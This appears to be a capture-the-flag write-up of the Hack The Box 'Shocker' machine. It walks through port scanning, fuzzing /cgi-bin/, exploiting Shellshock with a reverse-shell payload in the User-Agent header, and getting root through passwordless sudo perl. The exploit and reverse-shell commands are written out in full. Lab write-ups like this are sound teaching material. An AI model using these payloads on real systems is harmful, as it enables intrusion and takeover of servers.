Recon
Quick port scan — two ports, one web service, one non-standard SSH port. Nothing exotic on first glance, but the Apache version told me to start thinking about CGI.
$ nmap -sC -sV -oN nmap/initial 10.10.10.56 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
Port 80 returns the Apache default page. Nothing obviously interesting in the HTML source. SSH is on 2222 which is unusual — likely not the intended first step. I moved straight to web enumeration.
Enumeration
Directory Fuzzing
The default Apache page means I need to find real content. Started with a standard dir scan. The /cgi-bin/ directory came back as 403 — present but not listable. That's the signal I needed.
$ gobuster dir -u http://10.10.10.56 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt /cgi-bin/ (Status: 403) [Size: 294] /index.html (Status: 200) [Size: 11321]
A /cgi-bin/ directory on Apache 2.4.18 immediately made me think Shellshock. The next step was fuzzing inside the directory for actual CGI scripts with relevant extensions.
$ gobuster dir -u http://10.10.10.56/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -x sh,cgi,pl,py /user.sh (Status: 200) [Size: 119]
Found it: /cgi-bin/user.sh. Requesting it returns uptime output — a real bash script being executed as a CGI handler. Apache spawns a new bash process for each request and passes HTTP headers as environment variables. That's the Shellshock entry point.
$ curl http://10.10.10.56/cgi-bin/user.sh Content-Type: text/plain Just an uptime test script 06:25:31 up 3:50, 0 users, load average: 0.00, 0.00, 0.00
Foothold
CVE-2014-6271 (Shellshock): bash up to 4.3 contains a bug in how it processes function definitions stored in environment variables. When bash is initialized, it evaluates environment variable values that look like function definitions — and any trailing commands after the function body are also executed. Apache CGI sets HTTP headers as environment variables before spawning bash, so injecting () { :; }; followed by a command into a header triggers execution in the context of the web server.
I set up a listener and sent the payload in the User-Agent header, pointing the reverse shell back to my machine.
# listener $ nc -lvnp 4444 # exploit $ curl -H "User-Agent: () { :;}; /bin/bash -i >& /dev/tcp/10.10.14.X/4444 0>&1" http://10.10.10.56/cgi-bin/user.sh
# shell received connect to [10.10.14.X] from (UNKNOWN) [10.10.10.56] 54812 bash: no job control in this shell shelly@Shocker:/usr/lib/cgi-bin$ $ id uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare)
Shell as shelly. Upgraded with python3 -c 'import pty;pty.spawn("/bin/bash")' then checked for quick privesc paths.
Privilege Escalation
First thing I always run after getting a shell: sudo -l. On HTB easy boxes this often pays off immediately.
shelly@Shocker:~$ sudo -l Matching Defaults entries for shelly on Shocker: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin User shelly may run the following commands on Shocker: (root) NOPASSWD: /usr/bin/perl
Unrestricted sudo perl with no password. GTFObins has the entry for this: perl -e 'exec "/bin/sh"'. When run under sudo, the exec call inherits the root context.
shelly@Shocker:~$ sudo perl -e 'exec "/bin/sh";' # id uid=0(root) gid=0(root) groups=0(root) # hostname Shocker
Root shell. The entire box from nmap to root took under 15 minutes once I found user.sh.
Flags
Lessons Learned
- A 403 on
/cgi-bin/is not a dead end — fuzz inside with script extensions (.sh,.cgi,.pl). A 200 on a bash script inside cgi-bin is a Shellshock indicator. - Shellshock exploits bash initialization, not the script code — you don't need the script to echo or use the header value. The vulnerability fires on process spawn.
sudo -lshould be the very first privesc check, every time. NOPASSWD on perl/python/ruby/node = GTFObins instant win.- Non-standard SSH ports (2222 instead of 22) are worth noting but rarely the intended path on easy boxes — enumerate web first.
sudo entries to specific commands with specific arguments, not entire interpreters.